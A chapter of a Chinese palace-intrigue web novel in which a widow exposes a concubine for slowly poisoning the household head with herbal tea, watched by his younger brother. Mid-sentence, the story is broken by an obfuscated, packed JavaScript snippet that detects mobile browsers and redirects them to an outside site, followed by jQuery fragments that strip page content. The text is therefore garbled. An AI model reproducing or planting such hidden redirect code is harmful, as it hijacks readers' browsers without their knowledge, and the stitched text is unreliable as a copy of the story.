4. 事结
作品:《青梅不及寡卿绝》 萧瑶眯了眯眼,商说含笑道:“嫂嫂勿怪。”
萧瑶袖中指节攥进手心,微笑回之:“无事,三弟有话直说。”
“多谢嫂嫂大度。”商说作揖,而后转身面向堂下人,“这东西做的不错,笔迹娟秀轻浮,一看便知是出自女子笔记……”
四姨娘刚才还慌张,听这话后又惊又喜。她一甩袖子,狠狠看了萧瑶一眼,又转眼看向商说,期盼从这人嘴里说出她想听的。
那边,账房先生看向萧瑶,萧瑶沉吟不语,他便把东西恭谨递了过去,商说便接了过来。
他轻巧一抖,竹书展露无遗,剩下几位姨娘并不想瞧那上头写了什么,但萧瑶不发话,她们没法离开,只能配合听着商说说话:“兄长是昨日才亡故的,敢问嫂嫂,兄长最后一次的药品购入是什么时候?”
他问也不转头,萧瑶不答。四姨娘道:“郎君看上头记载便知了,最后一次买的‘附子、肉桂’是八月十四。”
有人回答就好,商说也不在乎其他,继续说:“八月十四,距今天一个月有余,那浙记载记录,应该是那两天的。但是我仔细瞧来,这墨迹还新,不似写了十天半个月的……”
他说着,不顾萧瑶是何反应,指腹在竹片上反手一抹,再撤回手,上头的墨迹已有洇痕。
“况且这上头字一擦就这样,显然是最近才写上去的。”这时,他才转眼,好整以暇地望向萧瑶,“商说只怕这东西完成,不早于三日。”
这无异让萧瑶下不来台。
商说看着女子,听了这一番言论她眼眸仍垂着,没有立刻反驳也不回怼。
一刻,两刻,底下姨娘们有议论声,但也没人敢指责,上位萧瑶依旧稳当坐着。
还是四姨娘观商说捧竹而立,认为萧瑶无言以对,以此刻的商说为英雄,感激得恨不得五体投地。
但磕头前她还要洗冤,便一跪到地,熟络泣道:“半年前家主病得突然,一夜便卧床不起,家中诸位姐妹侍奉经验不及贱妾,皆不得家主之心,妾衣不解带地日夜侍奉,给郎君购买的药材也是一笔一笔的都记账在册,皆在账房那处……”
情到深处,泪不能止。但在场的人除了商说都见过她这功力,一时并不感动。萧瑶抬手夺过案上的一个粗瓷盘子,上头小果洒了一桌子,后头姨娘们立刻收了私语声。
唯四姨娘还在哭:“夫人冤枉购药从中取利,妾贱命一条死不足惜,但今日三郎君在此,妾纵死也要说一句,妾对伯言郎君之心天日可鉴,若不信皆可把近半年服内的账簿呈上来,一笔一笔的核算清楚,看妾是否就中取利……若有,妾甘愿被移送官府,按我朝律法治罪!”
一字一句的分外有力,言外之意十分明显,这证据是伪造的,要污蔑这个对丈夫忠心耿耿的贤良妇人,她实可怜。
萧瑶不由打心底佩服,人家哭成这样了,声音却不带抖的。
她抬眸,见商说衣袂轻扫过案沿又坐回去,将竹书搁到案上,目光也正对上自己。
而萧瑶静静看他,丝毫不乱。不长不短的对视,最后还是商说目光轻闪,先迅速别开。
商说不知自己怎么了,此事明明他在理,对方看他眼神也不算凌厉,可却看得他觉耳后发热,极不自然。
他未曾娶妻,没断过后宅女人官司,但萧瑶既请了他来,那他就该说实话,即便这姨太太真有问题,也该实证捶死,而非随意攀蔑。
“说得好!”良久,萧瑶摩挲着盘沿凹凸的纹路,抿唇一笑,望向跪地的人,“也就是说四姨太太肯定每次给郎君的药,皆是自己一笔一笔的记在府中账上的是吧?”
“是……是啊!”萧瑶未有任何慌乱颜色,但直接告诉四姨娘这正室夫人强弩之末,不会有任何证据。她便直了直腰板,“一笔一笔都是妾亲自买回来登记在册的,妾敢以命赌誓,绝无遗漏!”
“你承认了就好。”
萧瑶笑意上了眼角,仿佛没这么满意过。在场人看愣了。
商说也不知情形如何,他蹙了蹙眉,决定不会再管了,由得她们自己闹自家事,就想起身告辞,不妨萧瑶喊道:“那就把这府内的买药账簿拿上来,让我们瞧瞧四姨娘,这半个月都给家主吃了些什么!”
话毕,有小侍婢快步走进来,端上一本厚重的竹册子。望着那竹书,四姨娘沉思一瞬,却忽感不详。
萧瑶道:“劳烦医士来断一断。”
众人这才想起旁边还有一人至此都未言语,循迹望去,那医师两步上前来,跪下叩头。
商说道:“这位是……?”
萧瑶耐心给他解释:“秦州的‘乐仁堂’的主事。”
随即,在众人的注视下,这老医师将手上木匣搁于地,那小侍婢将卷轴抻开,翻找出从前日向前推一年的药品记录。
“陈皮,薄荷,枳壳。”
商说注意这两人的表现,四姨娘起初的得意在卷宗翻开的一瞬间便没了。随后医师言三词,每一词出口,这姨娘的脸便白一分。
而萧瑶似早有准备,她道:“医师,这三位药品皆是化瘀清痰的吧,有何不妥之处吗?”
“回夫人,本无不妥。”老医师看起来已过天命之年,说话甚稳,“但敢问夫人,此药是给何人所服用?”
商说在一旁看着,萧瑶未答,反而是抬眸瞥了一眼那姨娘一堆,便有个身量偏矮的受意出来回话:“家主……情事过频,因而生病。”
“哦,那便是了。”老医师捋了捋胡子,“这三药合用,可理气宽中、消胀除满。但若是陈皮破气、薄荷耗阴、枳壳伤中,久服只会让正气暗耗殆尽,最终阳衰阴竭……”
商语听到此处,手下一紧,几乎要把袖角攥碎。
他顿时明白了来龙去脉。
“况老夫观这近一年的记载,此药竟几乎未曾间断……”医者仁心,不管你是斗还是打,只说实话,他对萧瑶长揖到地,“无论泡茶、入汤,皆日日服用。这般久服,可大大不妥!”
此言一出,众人皆惊,四姨娘的脸已经彻底死白,整个人像断了线的风筝一样,险些倒在地上。
“哦,那很糟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241043|197735||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”他这个嫂子从容不迫起身,“可是医师,长期服用这药,为何其他郎中诊不出来呢?”
“这正是此举不易察觉之处。”老医师道,“若是一下子大剂量改药定能觉察,可若剂量每次都不多,一点点掺在汤药里茶水中,反而觉察不出来,服用之人甚至会觉得神思渐渐清明,殊不知内里肾精亏虚,就是往死路上走啊!”
萧瑶淡淡扫视过众人,噙笑开口:“这么看来,四姨娘代为照顾家主的身体可真是用心,家住素日不爱喝茶,但自从病了之后姨娘日往他屋里送茶,且入汤药的,也就是这三味药材,你想做什么呢?可真难猜呀。”
这可太明白了。
商说见那姨娘一时成了哑巴,开口却无声,他暗自勾了勾唇。
他发笑,一时竟不知是对谁。
大哥身子骨不好,偏又摊上后宅神仙给他喂死了,这位小老婆也是好手段,用这么阴险办法,不仔细根本查不出来。而他这个小嫂子更能耐,铁了心要惩治罪魁,便先伪造证引蛇出洞,让姨娘一口咬死自己做账,然后以子之矛攻子之盾,再让这医师指出药品本身就有问题,彻底锤死。
他自觉在官场中躲过无数明枪暗箭,已是能力不凡,可如今一对比,觉得若将堂下人丢入官场搅弄一番,说不准他那些素来精明的同僚也要死了。
而刚才他拆穿那证据为假,正合了人意。
他笑过,随即是暗暗咬碎的后槽牙。
“四姨娘,我听闻你外头田产铺子有数十余处,皆是用这些钱财置办的,真是难为你了。”萧瑶随手将盘子掷回案上。
“……”四姨娘还维持着方才的姿态,半晌,强撑的镇定变成了诡诞的笑意,“哈哈哈……你好手段!不过你有什么资格指责我?我是不择手段,我对他不曾有过情,却被他强纳入府,他喜新厌旧喜怒无常,我嫁给他我没有睡过一个好觉,没过过一天舒坦日子!”
她像是疯了,转眼扫过在场众人,最后目光狠狠落到那几个姨娘身上,嘴角笑意非但没散,反倒越扯越大:“不捞些钱,难道等他死了我跟着去吗?”
萧瑶懒得听这些废话,她使了个眼色。旁人都在看这疯妇,商说全程却在盯着萧瑶。
拿麻绳的家丁这下真动手了,三下五除二,将人捆个结实,四姨娘被挟持着,猛地拔高声调:“哈哈哈!萧氏……!你有什么脸说我?你自己捞的明明也不少,我不过是比你先一步让他走了,我若不在难道你就不想他死不成?!”
萧瑶脸色猛地一沉。
番儿皱眉,喝道:“都死人吗?她疯了,还不把她拿到官府去!”
家丁忙推推搡搡,将人押了出去。
“让三弟看笑话了,此人不除,伯言九泉之下无法安息。”
惊叫声渐远,商说见萧瑶十分应景地从身后人手上接过帕子,盖住了脸,又点了点眼角,而剩余姨娘闻言也不由垂泪。
“……”商说腮边绷紧,暗告自己眼前景象一分也不要再信,“无事。商说方才冒犯之处,也请嫂嫂不要见怪。”

